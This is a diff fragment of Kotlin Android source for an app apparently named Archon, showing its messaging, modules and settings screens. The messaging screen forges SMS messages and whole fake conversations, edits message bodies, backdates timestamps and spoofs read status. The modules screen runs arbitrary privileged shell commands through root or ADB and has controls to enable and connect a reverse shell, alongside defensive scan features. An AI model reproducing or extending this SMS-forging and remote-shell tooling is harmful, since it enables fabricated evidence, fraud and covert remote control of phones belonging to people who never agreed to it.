"Change Timestamp",
|
||||
"Spoof Read Status",
|
||||
"Forward (Forge)"
|
||||
)
|
||||
|
||||
AlertDialog.Builder(requireContext())
|
||||
.setTitle("Message Options")
|
||||
.setItems(items) { _, which ->
|
||||
when (which) {
|
||||
0 -> copyMessage(message)
|
||||
1 -> editMessageBody(message)
|
||||
2 -> deleteMessage(message)
|
||||
3 -> changeTimestamp(message)
|
||||
4 -> spoofReadStatus(message)
|
||||
5 -> forwardAsForge(message)
|
||||
}
|
||||
}
|
||||
.show()
|
||||
}
|
||||
|
||||
private fun copyMessage(message: MessagingRepository.Message) {
|
||||
val clipboard = requireContext().getSystemService(android.content.ClipboardManager::class.java)
|
||||
val clip = android.content.ClipData.newPlainText("sms", message.body)
|
||||
clipboard?.setPrimaryClip(clip)
|
||||
Toast.makeText(requireContext(), "Copied to clipboard", Toast.LENGTH_SHORT).show()
|
||||
}
|
||||
|
||||
private fun editMessageBody(message: MessagingRepository.Message) {
|
||||
val input = TextInputEditText(requireContext()).apply {
|
||||
setText(message.body)
|
||||
setTextColor(resources.getColor(R.color.text_primary, null))
|
||||
setBackgroundColor(resources.getColor(R.color.surface_dark, null))
|
||||
setPadding(32, 24, 32, 24)
|
||||
}
|
||||
|
||||
AlertDialog.Builder(requireContext())
|
||||
.setTitle("Edit Message Body")
|
||||
.setView(input)
|
||||
.setPositiveButton("Save") { _, _ ->
|
||||
val newBody = input.text?.toString() ?: return@setPositiveButton
|
||||
Thread {
|
||||
val success = repo.updateMessage(message.id, body = newBody, type = null, date = null, read = null)
|
||||
handler.post {
|
||||
if (success) {
|
||||
appendLog("Updated message ${message.id}")
|
||||
loadMessages(currentThreadId)
|
||||
} else {
|
||||
appendLog("Failed to update — need default SMS app role")
|
||||
}
|
||||
showOutputLog()
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
.setNegativeButton("Cancel", null)
|
||||
.show()
|
||||
}
|
||||
|
||||
private fun deleteMessage(message: MessagingRepository.Message) {
|
||||
AlertDialog.Builder(requireContext())
|
||||
.setTitle("Delete Message")
|
||||
.setMessage("Delete this message permanently?\n\n\"${message.body.take(60)}\"")
|
||||
.setPositiveButton("Delete") { _, _ ->
|
||||
Thread {
|
||||
val success = repo.deleteMessage(message.id)
|
||||
handler.post {
|
||||
if (success) {
|
||||
appendLog("Deleted message ${message.id}")
|
||||
loadMessages(currentThreadId)
|
||||
} else {
|
||||
appendLog("Failed to delete — need default SMS app role")
|
||||
}
|
||||
showOutputLog()
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
.setNegativeButton("Cancel", null)
|
||||
.show()
|
||||
}
|
||||
|
||||
private fun changeTimestamp(message: MessagingRepository.Message) {
|
||||
val cal = Calendar.getInstance()
|
||||
cal.timeInMillis = message.date
|
||||
|
||||
DatePickerDialog(requireContext(), { _, year, month, day ->
|
||||
TimePickerDialog(requireContext(), { _, hour, minute ->
|
||||
cal.set(year, month, day, hour, minute)
|
||||
val newDate = cal.timeInMillis
|
||||
|
||||
Thread {
|
||||
val success = repo.updateMessage(message.id, body = null, type = null, date = newDate, read = null)
|
||||
handler.post {
|
||||
if (success) {
|
||||
val fmt = SimpleDateFormat("yyyy-MM-dd HH:mm", Locale.US)
|
||||
appendLog("Changed timestamp to ${fmt.format(Date(newDate))}")
|
||||
loadMessages(currentThreadId)
|
||||
} else {
|
||||
appendLog("Failed to change timestamp")
|
||||
}
|
||||
showOutputLog()
|
||||
}
|
||||
}.start()
|
||||
}, cal.get(Calendar.HOUR_OF_DAY), cal.get(Calendar.MINUTE), true).show()
|
||||
}, cal.get(Calendar.YEAR), cal.get(Calendar.MONTH), cal.get(Calendar.DAY_OF_MONTH)).show()
|
||||
}
|
||||
|
||||
private fun spoofReadStatus(message: MessagingRepository.Message) {
|
||||
val items = arrayOf("Mark as Read", "Mark as Unread")
|
||||
AlertDialog.Builder(requireContext())
|
||||
.setTitle("Read Status")
|
||||
.setItems(items) { _, which ->
|
||||
val newRead = which == 0
|
||||
Thread {
|
||||
val success = repo.updateMessage(message.id, body = null, type = null, date = null, read = newRead)
|
||||
handler.post {
|
||||
if (success) {
|
||||
appendLog("Set read=${newRead} for message ${message.id}")
|
||||
loadMessages(currentThreadId)
|
||||
} else {
|
||||
appendLog("Failed to update read status")
|
||||
}
|
||||
showOutputLog()
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
.show()
|
||||
}
|
||||
|
||||
private fun forwardAsForge(message: MessagingRepository.Message) {
|
||||
// Pre-fill the forge dialog with this message's body
|
||||
showForgeMessageDialog(prefillBody = message.body)
|
||||
}
|
||||
|
||||
// ── Forge dialogs ──────────────────────────────────────────────
|
||||
|
||||
private fun showForgeMessageDialog(prefillBody: String? = null) {
|
||||
val dialogView = LayoutInflater.from(requireContext())
|
||||
.inflate(R.layout.dialog_forge_message, null)
|
||||
|
||||
val forgeAddress = dialogView.findViewById<TextInputEditText>(R.id.forge_address)
|
||||
val forgeContactName = dialogView.findViewById<TextInputEditText>(R.id.forge_contact_name)
|
||||
val forgeBody = dialogView.findViewById<TextInputEditText>(R.id.forge_body)
|
||||
val forgeTypeReceived = dialogView.findViewById<MaterialButton>(R.id.forge_type_received)
|
||||
val forgeTypeSent = dialogView.findViewById<MaterialButton>(R.id.forge_type_sent)
|
||||
val forgePickDate = dialogView.findViewById<MaterialButton>(R.id.forge_pick_date)
|
||||
val forgePickTime = dialogView.findViewById<MaterialButton>(R.id.forge_pick_time)
|
||||
val forgeReadStatus = dialogView.findViewById<CheckBox>(R.id.forge_read_status)
|
||||
|
||||
prefillBody?.let { forgeBody.setText(it) }
|
||||
|
||||
// If we're in a thread, prefill the address
|
||||
if (currentAddress.isNotEmpty()) {
|
||||
forgeAddress.setText(currentAddress)
|
||||
}
|
||||
|
||||
// Direction toggle
|
||||
var selectedType = MessagingRepository.MESSAGE_TYPE_RECEIVED
|
||||
forgeTypeReceived.setOnClickListener {
|
||||
selectedType = MessagingRepository.MESSAGE_TYPE_RECEIVED
|
||||
forgeTypeReceived.tag = "selected"
|
||||
forgeTypeSent.tag = null
|
||||
}
|
||||
forgeTypeSent.setOnClickListener {
|
||||
selectedType = MessagingRepository.MESSAGE_TYPE_SENT
|
||||
forgeTypeSent.tag = "selected"
|
||||
forgeTypeReceived.tag = null
|
||||
}
|
||||
|
||||
// Date/time pickers
|
||||
forgeCalendar = Calendar.getInstance()
|
||||
val dateFormat = SimpleDateFormat("MMM dd, yyyy", Locale.US)
|
||||
val timeFormat = SimpleDateFormat("HH:mm", Locale.US)
|
||||
forgePickDate.text = dateFormat.format(forgeCalendar.time)
|
||||
forgePickTime.text = timeFormat.format(forgeCalendar.time)
|
||||
|
||||
forgePickDate.setOnClickListener {
|
||||
DatePickerDialog(requireContext(), { _, year, month, day ->
|
||||
forgeCalendar.set(Calendar.YEAR, year)
|
||||
forgeCalendar.set(Calendar.MONTH, month)
|
||||
forgeCalendar.set(Calendar.DAY_OF_MONTH, day)
|
||||
forgePickDate.text = dateFormat.format(forgeCalendar.time)
|
||||
}, forgeCalendar.get(Calendar.YEAR), forgeCalendar.get(Calendar.MONTH),
|
||||
forgeCalendar.get(Calendar.DAY_OF_MONTH)).show()
|
||||
}
|
||||
|
||||
forgePickTime.setOnClickListener {
|
||||
TimePickerDialog(requireContext(), { _, hour, minute ->
|
||||
forgeCalendar.set(Calendar.HOUR_OF_DAY, hour)
|
||||
forgeCalendar.set(Calendar.MINUTE, minute)
|
||||
forgePickTime.text = timeFormat.format(forgeCalendar.time)
|
||||
}, forgeCalendar.get(Calendar.HOUR_OF_DAY), forgeCalendar.get(Calendar.MINUTE), true).show()
|
||||
}
|
||||
|
||||
AlertDialog.Builder(requireContext())
|
||||
.setView(dialogView)
|
||||
.setPositiveButton("Forge") { _, _ ->
|
||||
val address = forgeAddress.text?.toString()?.trim() ?: ""
|
||||
val contactName = forgeContactName.text?.toString()?.trim()
|
||||
val body = forgeBody.text?.toString()?.trim() ?: ""
|
||||
val read = forgeReadStatus.isChecked
|
||||
val date = forgeCalendar.timeInMillis
|
||||
|
||||
if (address.isEmpty() || body.isEmpty()) {
|
||||
Toast.makeText(requireContext(), "Address and body required", Toast.LENGTH_SHORT).show()
|
||||
return@setPositiveButton
|
||||
}
|
||||
|
||||
Thread {
|
||||
val id = repo.forgeMessage(
|
||||
address = address,
|
||||
body = body,
|
||||
type = selectedType,
|
||||
date = date,
|
||||
contactName = contactName,
|
||||
read = read
|
||||
)
|
||||
handler.post {
|
||||
if (id >= 0) {
|
||||
val direction = if (selectedType == 1) "received" else "sent"
|
||||
appendLog("Forged $direction message id=$id to $address")
|
||||
showOutputLog()
|
||||
|
||||
// Refresh view
|
||||
if (currentThreadId > 0) {
|
||||
loadMessages(currentThreadId)
|
||||
} else {
|
||||
loadConversations()
|
||||
}
|
||||
} else {
|
||||
appendLog("Forge failed — need default SMS app role")
|
||||
showOutputLog()
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
.setNegativeButton("Cancel", null)
|
||||
.show()
|
||||
}
|
||||
|
||||
private fun showForgeConversationDialog() {
|
||||
val input = TextInputEditText(requireContext()).apply {
|
||||
hint = "Phone number (e.g. +15551234567)"
|
||||
setTextColor(resources.getColor(R.color.text_primary, null))
|
||||
setHintTextColor(resources.getColor(R.color.text_muted, null))
|
||||
setBackgroundColor(resources.getColor(R.color.surface_dark, null))
|
||||
setPadding(32, 24, 32, 24)
|
||||
inputType = android.text.InputType.TYPE_CLASS_PHONE
|
||||
}
|
||||
|
||||
AlertDialog.Builder(requireContext())
|
||||
.setTitle("Forge Conversation")
|
||||
.setMessage("Create a fake conversation with back-and-forth messages from this number:")
|
||||
.setView(input)
|
||||
.setPositiveButton("Forge") { _, _ ->
|
||||
val address = input.text?.toString()?.trim() ?: ""
|
||||
if (address.isEmpty()) {
|
||||
Toast.makeText(requireContext(), "Phone number required", Toast.LENGTH_SHORT).show()
|
||||
return@setPositiveButton
|
||||
}
|
||||
executeModuleAction("forge_conversation:$address")
|
||||
// Refresh after a short delay for the inserts to complete
|
||||
handler.postDelayed({ loadConversations() }, 2000)
|
||||
}
|
||||
.setNegativeButton("Cancel", null)
|
||||
.show()
|
||||
}
|
||||
|
||||
// ── Output log ─────────────────────────────────────────────────
|
||||
|
||||
private fun setupOutputLog() {
|
||||
btnCloseLog.setOnClickListener {
|
||||
outputLogCard.visibility = View.GONE
|
||||
}
|
||||
}
|
||||
|
||||
private fun showOutputLog() {
|
||||
outputLogCard.visibility = View.VISIBLE
|
||||
}
|
||||
|
||||
private fun appendLog(msg: String) {
|
||||
val current = outputLog.text.toString()
|
||||
val lines = current.split("\n").takeLast(30)
|
||||
outputLog.text = (lines + "> $msg").joinToString("\n")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,306 @@
|
||||
package com.darkhal.archon.ui
|
||||
|
||||
import android.content.Context
|
||||
import android.graphics.Color
|
||||
import android.graphics.drawable.GradientDrawable
|
||||
import android.os.Bundle
|
||||
import android.os.Handler
|
||||
import android.os.Looper
|
||||
import android.view.LayoutInflater
|
||||
import android.view.View
|
||||
import android.view.ViewGroup
|
||||
import android.widget.TextView
|
||||
import androidx.appcompat.app.AlertDialog
|
||||
import androidx.fragment.app.Fragment
|
||||
import com.darkhal.archon.R
|
||||
import com.darkhal.archon.module.ModuleManager
|
||||
import com.darkhal.archon.module.ReverseShellModule
|
||||
import com.darkhal.archon.server.ArchonClient
|
||||
import com.darkhal.archon.util.PrivilegeManager
|
||||
import com.google.android.material.button.MaterialButton
|
||||
import com.google.android.material.textfield.TextInputEditText
|
||||
|
||||
class ModulesFragment : Fragment() {
|
||||
|
||||
private lateinit var serverStatusDot: View
|
||||
private lateinit var serverStatusText: TextView
|
||||
private lateinit var archonStatusDot: View
|
||||
private lateinit var archonInfoText: TextView
|
||||
private lateinit var archonUidText: TextView
|
||||
private lateinit var inputArchonCmd: TextInputEditText
|
||||
private lateinit var shieldStatusDot: View
|
||||
private lateinit var shieldStatusText: TextView
|
||||
private lateinit var honeypotStatusDot: View
|
||||
private lateinit var honeypotStatusText: TextView
|
||||
private lateinit var revshellStatusDot: View
|
||||
private lateinit var revshellStatusText: TextView
|
||||
private lateinit var outputLog: TextView
|
||||
|
||||
private val handler = Handler(Looper.getMainLooper())
|
||||
|
||||
override fun onCreateView(
|
||||
inflater: LayoutInflater,
|
||||
container: ViewGroup?,
|
||||
savedInstanceState: Bundle?
|
||||
): View {
|
||||
return inflater.inflate(R.layout.fragment_modules, container, false)
|
||||
}
|
||||
|
||||
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
|
||||
super.onViewCreated(view, savedInstanceState)
|
||||
|
||||
// Bind views
|
||||
serverStatusDot = view.findViewById(R.id.server_status_dot)
|
||||
serverStatusText = view.findViewById(R.id.server_status_text)
|
||||
archonStatusDot = view.findViewById(R.id.archon_status_dot)
|
||||
archonInfoText = view.findViewById(R.id.archon_info_text)
|
||||
archonUidText = view.findViewById(R.id.archon_uid_text)
|
||||
inputArchonCmd = view.findViewById(R.id.input_archon_cmd)
|
||||
shieldStatusDot = view.findViewById(R.id.shield_status_dot)
|
||||
shieldStatusText = view.findViewById(R.id.shield_status_text)
|
||||
honeypotStatusDot = view.findViewById(R.id.honeypot_status_dot)
|
||||
honeypotStatusText = view.findViewById(R.id.honeypot_status_text)
|
||||
revshellStatusDot = view.findViewById(R.id.revshell_status_dot)
|
||||
revshellStatusText = view.findViewById(R.id.revshell_status_text)
|
||||
outputLog = view.findViewById(R.id.modules_output_log)
|
||||
|
||||
// Archon Server buttons
|
||||
view.findViewById<MaterialButton>(R.id.btn_archon_run).setOnClickListener {
|
||||
val cmd = inputArchonCmd.text?.toString()?.trim() ?: ""
|
||||
if (cmd.isEmpty()) {
|
||||
appendLog("Enter a command to run")
|
||||
return@setOnClickListener
|
||||
}
|
||||
runArchonCommand(cmd)
|
||||
}
|
||||
|
||||
view.findViewById<MaterialButton>(R.id.btn_archon_info).setOnClickListener {
|
||||
appendLog("Querying server info...")
|
||||
Thread {
|
||||
val info = ArchonClient.getServerInfo(requireContext())
|
||||
handler.post {
|
||||
if (info != null) {
|
||||
appendLog("Archon: $info")
|
||||
archonInfoText.text = "Info: $info"
|
||||
} else {
|
||||
appendLog("Archon Server not running")
|
||||
archonInfoText.text = "Status: not running"
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
view.findViewById<MaterialButton>(R.id.btn_archon_ping).setOnClickListener {
|
||||
Thread {
|
||||
val running = ArchonClient.isServerRunning(requireContext())
|
||||
handler.post {
|
||||
setStatusDot(archonStatusDot, running)
|
||||
appendLog(if (running) "Archon: pong" else "Archon: no response")
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
view.findViewById<MaterialButton>(R.id.btn_archon_packages).setOnClickListener {
|
||||
runArchonCommand("pm list packages -3")
|
||||
}
|
||||
|
||||
// Shield buttons
|
||||
view.findViewById<MaterialButton>(R.id.btn_shield_full_scan).setOnClickListener {
|
||||
runModuleAction("shield", "full_scan", "Full Scan")
|
||||
}
|
||||
view.findViewById<MaterialButton>(R.id.btn_shield_scan_packages).setOnClickListener {
|
||||
runModuleAction("shield", "scan_packages", "Package Scan")
|
||||
}
|
||||
view.findViewById<MaterialButton>(R.id.btn_shield_scan_admins).setOnClickListener {
|
||||
runModuleAction("shield", "scan_device_admins", "Device Admin Scan")
|
||||
}
|
||||
view.findViewById<MaterialButton>(R.id.btn_shield_scan_certs).setOnClickListener {
|
||||
runModuleAction("shield", "scan_certificates", "Certificate Scan")
|
||||
}
|
||||
view.findViewById<MaterialButton>(R.id.btn_shield_scan_network).setOnClickListener {
|
||||
runModuleAction("shield", "scan_network", "Network Scan")
|
||||
}
|
||||
|
||||
// Honeypot buttons
|
||||
view.findViewById<MaterialButton>(R.id.btn_honeypot_harden).setOnClickListener {
|
||||
runModuleAction("honeypot", "harden_all", "Harden All")
|
||||
}
|
||||
view.findViewById<MaterialButton>(R.id.btn_honeypot_reset_ad).setOnClickListener {
|
||||
runModuleAction("honeypot", "reset_ad_id", "Reset Ad ID")
|
||||
}
|
||||
view.findViewById<MaterialButton>(R.id.btn_honeypot_dns).setOnClickListener {
|
||||
runModuleAction("honeypot", "set_private_dns", "Private DNS")
|
||||
}
|
||||
view.findViewById<MaterialButton>(R.id.btn_honeypot_restrict).setOnClickListener {
|
||||
runModuleAction("honeypot", "restrict_trackers", "Restrict Trackers")
|
||||
}
|
||||
view.findViewById<MaterialButton>(R.id.btn_honeypot_revoke).setOnClickListener {
|
||||
runModuleAction("honeypot", "revoke_tracker_perms", "Revoke Tracker Perms")
|
||||
}
|
||||
|
||||
// Reverse Shell buttons
|
||||
view.findViewById<MaterialButton>(R.id.btn_revshell_enable).setOnClickListener {
|
||||
showRevshellWarnings(0)
|
||||
}
|
||||
view.findViewById<MaterialButton>(R.id.btn_revshell_disable).setOnClickListener {
|
||||
runModuleAction("revshell", "disable", "Disable")
|
||||
}
|
||||
view.findViewById<MaterialButton>(R.id.btn_revshell_connect).setOnClickListener {
|
||||
runModuleAction("revshell", "connect", "Connect")
|
||||
}
|
||||
view.findViewById<MaterialButton>(R.id.btn_revshell_disconnect).setOnClickListener {
|
||||
runModuleAction("revshell", "disconnect", "Disconnect")
|
||||
}
|
||||
view.findViewById<MaterialButton>(R.id.btn_revshell_status).setOnClickListener {
|
||||
runModuleAction("revshell", "status", "Status")
|
||||
}
|
||||
|
||||
// Initialize status
|
||||
refreshStatus()
|
||||
}
|
||||
|
||||
private fun refreshStatus() {
|
||||
Thread {
|
||||
val method = PrivilegeManager.getAvailableMethod()
|
||||
val archonRunning = ArchonClient.isServerRunning(requireContext())
|
||||
val serverInfo = if (archonRunning) {
|
||||
ArchonClient.getServerInfo(requireContext()) ?: "running"
|
||||
} else {
|
||||
null
|
||||
}
|
||||
|
||||
val shieldStatus = ModuleManager.get("shield")?.getStatus(requireContext())
|
||||
val honeypotStatus = ModuleManager.get("honeypot")?.getStatus(requireContext())
|
||||
val revshellStatus = ModuleManager.get("revshell")?.getStatus(requireContext())
|
||||
|
||||
handler.post {
|
||||
// Server status
|
||||
val serverActive = method != PrivilegeManager.Method.NONE
|
||||
setStatusDot(serverStatusDot, serverActive)
|
||||
serverStatusText.text = when (method) {
|
||||
PrivilegeManager.Method.ROOT -> "Privilege: Root (su)"
|
||||
PrivilegeManager.Method.ARCHON_SERVER -> "Privilege: Archon Server"
|
||||
PrivilegeManager.Method.LOCAL_ADB -> "Privilege: Wireless ADB"
|
||||
PrivilegeManager.Method.SERVER_ADB -> "Privilege: AUTARCH Remote"
|
||||
PrivilegeManager.Method.NONE -> "Privilege: none — run Setup first"
|
||||
}
|
||||
|
||||
// Archon Server status
|
||||
setStatusDot(archonStatusDot, archonRunning)
|
||||
archonInfoText.text = if (archonRunning) {
|
||||
"Status: Running ($serverInfo)"
|
||||
} else {
|
||||
"Status: Not running — start in Setup tab"
|
||||
}
|
||||
|
||||
// Module status
|
||||
setStatusDot(shieldStatusDot, shieldStatus?.active == true)
|
||||
shieldStatusText.text = "Last: ${shieldStatus?.summary ?: "no scan run"}"
|
||||
|
||||
setStatusDot(honeypotStatusDot, honeypotStatus?.active == true)
|
||||
honeypotStatusText.text = "Status: ${honeypotStatus?.summary ?: "idle"}"
|
||||
|
||||
setStatusDot(revshellStatusDot, revshellStatus?.active == true)
|
||||
revshellStatusText.text = "Status: ${revshellStatus?.summary ?: "Disabled"}"
|
||||
|
||||
appendLog("Privilege: ${method.label}")
|
||||
if (archonRunning) appendLog("Archon Server: active")
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
private fun runArchonCommand(command: String) {
|
||||
appendLog("$ $command")
|
||||
|
||||
Thread {
|
||||
val method = PrivilegeManager.getAvailableMethod()
|
||||
if (method == PrivilegeManager.Method.NONE) {
|
||||
handler.post { appendLog("Error: No privilege method — run Setup first") }
|
||||
return@Thread
|
||||
}
|
||||
|
||||
val result = PrivilegeManager.execute(command)
|
||||
handler.post {
|
||||
if (result.stdout.isNotEmpty()) {
|
||||
// Show up to 30 lines
|
||||
val lines = result.stdout.split("\n").take(30)
|
||||
for (line in lines) {
|
||||
appendLog(line)
|
||||
}
|
||||
if (result.stdout.split("\n").size > 30) {
|
||||
appendLog("... (${result.stdout.split("\n").size - 30} more lines)")
|
||||
}
|
||||
}
|
||||
if (result.stderr.isNotEmpty()) {
|
||||
appendLog("ERR: ${result.stderr}")
|
||||
}
|
||||
if (result.exitCode != 0) {
|
||||
appendLog("exit: ${result.exitCode}")
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
private fun runModuleAction(moduleId: String, actionId: String, label: String) {
|
||||
appendLog("Running: $label...")
|
||||
|
||||
Thread {
|
||||
val result = ModuleManager.executeAction(moduleId, actionId, requireContext())
|
||||
|
||||
handler.post {
|
||||
appendLog("$label: ${result.output}")
|
||||
for (detail in result.details.take(20)) {
|
||||
appendLog(" $detail")
|
||||
}
|
||||
|
||||
// Update module status after action
|
||||
when (moduleId) {
|
||||
"shield" -> shieldStatusText.text = "Last: ${result.output}"
|
||||
"honeypot" -> honeypotStatusText.text = "Status: ${result.output}"
|
||||
"revshell" -> revshellStatusText.text = "Status: ${result.output}"
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
private fun setStatusDot(dot: View, online: Boolean) {
|
||||
val drawable = GradientDrawable()
|
||||
drawable.shape = GradientDrawable.OVAL
|
||||
drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666"))
|
||||
dot.background = drawable
|
||||
}
|
||||
|
||||
private fun appendLog(msg: String) {
|
||||
val current = outputLog.text.toString()
|
||||
val lines = current.split("\n").takeLast(30)
|
||||
outputLog.text = (lines + "> $msg").joinToString("\n")
|
||||
}
|
||||
|
||||
/**
|
||||
* Show reverse shell safety warnings one at a time.
|
||||
* After all 3 are accepted, set the warning flag and run the enable action.
|
||||
*/
|
||||
private fun showRevshellWarnings(index: Int) {
|
||||
val warnings = ReverseShellModule.WARNINGS
|
||||
if (index >= warnings.size) {
|
||||
// All warnings accepted — set the prefs flag and enable
|
||||
val prefs = requireContext().getSharedPreferences("archon_revshell", Context.MODE_PRIVATE)
|
||||
prefs.edit().putBoolean("revshell_warnings_accepted", true).apply()
|
||||
appendLog("All warnings accepted")
|
||||
runModuleAction("revshell", "enable", "Enable")
|
||||
return
|
||||
}
|
||||
|
||||
AlertDialog.Builder(requireContext())
|
||||
.setTitle("Warning ${index + 1} of ${warnings.size}")
|
||||
.setMessage(warnings[index])
|
||||
.setPositiveButton("I Understand") { _, _ ->
|
||||
showRevshellWarnings(index + 1)
|
||||
}
|
||||
.setNegativeButton("Cancel") { _, _ ->
|
||||
appendLog("Reverse shell enable cancelled at warning ${index + 1}")
|
||||
}
|
||||
.setCancelable(false)
|
||||
.show()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,231 @@
|
||||
package com.darkhal.archon.ui
|
||||
|
||||
import android.os.Bundle
|
||||
import android.os.Handler
|
||||
import android.os.Looper
|
||||
import android.view.LayoutInflater
|
||||
import android.view.View
|
||||
import android.view.ViewGroup
|
||||
import android.widget.TextView
|
||||
import android.widget.Toast
|
||||
import androidx.fragment.app.Fragment
|
||||
import com.darkhal.archon.LoginActivity
|
||||
import com.darkhal.archon.R
|
||||
import com.darkhal.archon.service.DiscoveryManager
|
||||
import com.darkhal.archon.util.AuthManager
|
||||
import com.darkhal.archon.util.PrefsManager
|
||||
import com.darkhal.archon.util.ShellExecutor
|
||||
import com.darkhal.archon.util.SslHelper
|
||||
import com.google.android.material.button.MaterialButton
|
||||
import com.google.android.material.materialswitch.MaterialSwitch
|
||||
import com.google.android.material.textfield.TextInputEditText
|
||||
|
||||
class SettingsFragment : Fragment() {
|
||||
|
||||
private lateinit var inputServerIp: TextInputEditText
|
||||
private lateinit var inputWebPort: TextInputEditText
|
||||
private lateinit var inputAdbPort: TextInputEditText
|
||||
private lateinit var inputUsbipPort: TextInputEditText
|
||||
private lateinit var switchAutoRestart: MaterialSwitch
|
||||
private lateinit var statusText: TextView
|
||||
|
||||
private val handler = Handler(Looper.getMainLooper())
|
||||
|
||||
override fun onCreateView(
|
||||
inflater: LayoutInflater,
|
||||
container: ViewGroup?,
|
||||
savedInstanceState: Bundle?
|
||||
): View {
|
||||
return inflater.inflate(R.layout.fragment_settings, container, false)
|
||||
}
|
||||
|
||||
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
|
||||
super.onViewCreated(view, savedInstanceState)
|
||||
|
||||
inputServerIp = view.findViewById(R.id.input_server_ip)
|
||||
inputWebPort = view.findViewById(R.id.input_web_port)
|
||||
inputAdbPort = view.findViewById(R.id.input_adb_port)
|
||||
inputUsbipPort = view.findViewById(R.id.input_usbip_port)
|
||||
switchAutoRestart = view.findViewById(R.id.switch_settings_auto_restart)
|
||||
statusText = view.findViewById(R.id.settings_status)
|
||||
|
||||
loadSettings()
|
||||
|
||||
view.findViewById<MaterialButton>(R.id.btn_save_settings).setOnClickListener {
|
||||
saveSettings()
|
||||
}
|
||||
|
||||
view.findViewById<MaterialButton>(R.id.btn_auto_detect).setOnClickListener {
|
||||
autoDetectServer(it as MaterialButton)
|
||||
}
|
||||
|
||||
view.findViewById<MaterialButton>(R.id.btn_test_connection).setOnClickListener {
|
||||
testConnection()
|
||||
}
|
||||
|
||||
view.findViewById<MaterialButton>(R.id.btn_logout).setOnClickListener {
|
||||
AuthManager.logout(requireContext())
|
||||
val intent = android.content.Intent(requireContext(), LoginActivity::class.java)
|
||||
intent.flags = android.content.Intent.FLAG_ACTIVITY_NEW_TASK or android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK
|
||||
startActivity(intent)
|
||||
}
|
||||
}
|
||||
|
||||
private fun loadSettings() {
|
||||
val ctx = requireContext()
|
||||
inputServerIp.setText(PrefsManager.getServerIp(ctx))
|
||||
inputWebPort.setText(PrefsManager.getWebPort(ctx).toString())
|
||||
inputAdbPort.setText(PrefsManager.getAdbPort(ctx).toString())
|
||||
inputUsbipPort.setText(PrefsManager.getUsbIpPort(ctx).toString())
|
||||
switchAutoRestart.isChecked = PrefsManager.isAutoRestartAdb(ctx)
|
||||
}
|
||||
|
||||
private fun saveSettings() {
|
||||
val ctx = requireContext()
|
||||
|
||||
val serverIp = inputServerIp.text.toString().trim()
|
||||
val webPort = inputWebPort.text.toString().trim().toIntOrNull() ?: 8181
|
||||
val adbPort = inputAdbPort.text.toString().trim().toIntOrNull() ?: 5555
|
||||
val usbipPort = inputUsbipPort.text.toString().trim().toIntOrNull() ?: 3240
|
||||
|
||||
if (serverIp.isEmpty()) {
|
||||
statusText.text = "Error: Server IP cannot be empty"
|
||||
return
|
||||
}
|
||||
|
||||
// Validate IP format (IPv4 or hostname)
|
||||
if (!isValidIpOrHostname(serverIp)) {
|
||||
statusText.text = "Error: Invalid IP address or hostname"
|
||||
return
|
||||
}
|
||||
|
||||
// Validate port ranges
|
||||
if (webPort < 1 || webPort > 65535) {
|
||||
statusText.text = "Error: Web port must be 1-65535"
|
||||
return
|
||||
}
|
||||
if (adbPort < 1 || adbPort > 65535) {
|
||||
statusText.text = "Error: ADB port must be 1-65535"
|
||||
return
|
||||
}
|
||||
|
||||
PrefsManager.setServerIp(ctx, serverIp)
|
||||
PrefsManager.setWebPort(ctx, webPort)
|
||||
PrefsManager.setAdbPort(ctx, adbPort)
|
||||
PrefsManager.setUsbIpPort(ctx, usbipPort)
|
||||
PrefsManager.setAutoRestartAdb(ctx, switchAutoRestart.isChecked)
|
||||
|
||||
statusText.text = "Settings saved"
|
||||
Toast.makeText(ctx, "Settings saved", Toast.LENGTH_SHORT).show()
|
||||
}
|
||||
|
||||
private fun isValidIpOrHostname(input: String): Boolean {
|
||||
// IPv4 pattern
|
||||
val ipv4 = Regex("""^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$""")
|
||||
val match = ipv4.matchEntire(input)
|
||||
if (match != null) {
|
||||
return match.groupValues.drop(1).all {
|
||||
val n = it.toIntOrNull() ?: return false
|
||||
n in 0..255
|
||||
}
|
||||
}
|
||||
// Hostname pattern (alphanumeric, dots, hyphens)
|
||||
val hostname = Regex("""^[a-zA-Z0-9]([a-zA-Z0-9\-]*[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]*[a-zA-Z0-9])?)*$""")
|
||||
return hostname.matches(input)
|
||||
}
|
||||
|
||||
private fun autoDetectServer(btn: MaterialButton) {
|
||||
statusText.text = "Scanning for AUTARCH server..."
|
||||
btn.isEnabled = false
|
||||
btn.text = "SCANNING..."
|
||||
|
||||
val discovery = DiscoveryManager(requireContext())
|
||||
discovery.listener = object : DiscoveryManager.Listener {
|
||||
override fun onServerFound(server: DiscoveryManager.DiscoveredServer) {
|
||||
discovery.stopDiscovery()
|
||||
|
||||
val method = when (server.method) {
|
||||
DiscoveryManager.ConnectionMethod.MDNS -> "LAN (mDNS)"
|
||||
DiscoveryManager.ConnectionMethod.WIFI_DIRECT -> "Wi-Fi Direct"
|
||||
DiscoveryManager.ConnectionMethod.BLUETOOTH -> "Bluetooth"
|
||||
}
|
||||
|
||||
if (server.ip.isNotEmpty()) {
|
||||
inputServerIp.setText(server.ip)
|
||||
}
|
||||
if (server.port > 0) {
|
||||
inputWebPort.setText(server.port.toString())
|
||||
}
|
||||
|
||||
statusText.text = "Found ${server.hostname} via $method\nIP: ${server.ip} Port: ${server.port}"
|
||||
btn.isEnabled = true
|
||||
btn.text = "AUTO-DETECT SERVER"
|
||||
}
|
||||
|
||||
override fun onDiscoveryStarted(method: DiscoveryManager.ConnectionMethod) {}
|
||||
|
||||
